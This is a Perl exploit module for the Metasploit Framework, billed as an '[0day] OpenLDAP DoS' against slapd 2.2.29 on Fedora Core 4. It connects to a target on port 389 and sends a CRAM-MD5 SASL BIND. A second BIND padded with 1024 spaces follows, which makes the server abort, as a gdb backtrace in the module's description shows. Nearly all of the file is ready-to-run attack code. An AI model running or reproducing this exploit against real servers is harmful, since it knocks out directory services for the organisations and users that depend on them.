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use strict;

package Msf::Exploit::vd_openldap;
use base "Msf::Exploit";
use Pex::Text;

my $advanced = { };

my $info =
{
"Name" => "[0day] OpenLDAP DoS",
"Version" => "\$Revision: 1.0 \$",
"Authors" => ["Evgeny Legerov"],
"Arch" => ["x86"],
"OS" => ["linux"],
"Priv" => 1,
"UserOpts" =>
{
"RHOST" => [1, "ADDR", "The target address"],
"RPORT" => [1, "PORT", "The target port", 389]
},

"Description" => Pex::Text::Freeform(q{
This is a Denial of Service exploit.
Debug session:
Program received signal SIGABRT, Aborted.
[Switching to Thread -1375056976 (LWP 13500)]
0xaeb747e2 in _dl_sysinfo_int80 () from /lib/ld-linux.so.2
(gdb) bt
#0 0xaeb747e2 in _dl_sysinfo_int80 () from /lib/ld-linux.so.2
#1 0xae7c71f8 in raise () from /lib/libc.so.6
#2 0xae7c8948 in abort () from /lib/libc.so.6
#3 0xae7c038e in __assert_fail () from /lib/libc.so.6
#4 0x125d09b1 in ldap_dn2bv_x () from /usr/sbin/slapd
#5 0x12539596 in slap_sasl_getdn () from /usr/sbin/slapd
#6 0x12539c95 in slap_sasl_getdn () from /usr/sbin/slapd
#7 0xaea88987 in _sasl_canon_user () from /usr/lib/libsasl2.so.2
#8 0xae5da94d in crammd5_client_plug_init () from /usr/lib/sasl2/libcrammd5.so.2
#9 0xaea9183b in sasl_server_step () from /usr/lib/libsasl2.so.2
#10 0x12538785 in slap_sasl_bind () from /usr/sbin/slapd
#11 0x12516ecf in do_bind () from /usr/sbin/slapd
#12 0x124feac0 in connection_read () from /usr/sbin/slapd
#13 0x125bfa24 in ldap_int_thread_pool_shutdown () from /usr/sbin/slapd
#14 0xae8dab80 in start_thread () from /lib/libpthread.so.0
#15 0xae869dee in clone () from /lib/libc.so.6

}),

"DefaultTarget" => 0,
"Targets" =>
[
["openldap-2.2.29-1.FC4.i386.rpm / Fedora Core 4"],
],

"Keys" => ["vd_openldap"],
};

sub new {
my $class = shift;
return $class->SUPER::new({"Info" => $info, "Advanced" => $advanced}, @_);
}

sub Exploit {
my $self = shift;
my $host = $self->GetVar("RHOST");
my $port = $self->GetVar("RPORT");

my $sock = Msf::Socket::Tcp->new("PeerAddr" => $host, "PeerPort" => $port);
if ($sock->IsError) {
$self->PrintLine("Error creating socket: " . $sock->GetError);
return;
}

$self->PrintLine("Sending LDAP BIND request...");

my $s="\x30\x17\x02\x02\x04\xe7\x60\x11\x02\x01\x03\x04\x00\xa3\x0a\x04";
$s .= "\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35";
$sock->Send($s);
$sock->Recv(-1, 10);

$s = "\x30\x82\x04\x1f\x02\x02\x04\xe6\x60\x82\x04\x17\x02\x01\x03\x04";
$s .= "\x00\xa3\x82\x04\x0e\x04\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35\x04";
$s .= "\x82\x04\x00";
$s .= "\x20" x 1024;

$self->PrintLine("Sending second LDAP BIND request...");

$sock->Send($s);
$sock->Close();

$self->PrintLine("Done");
}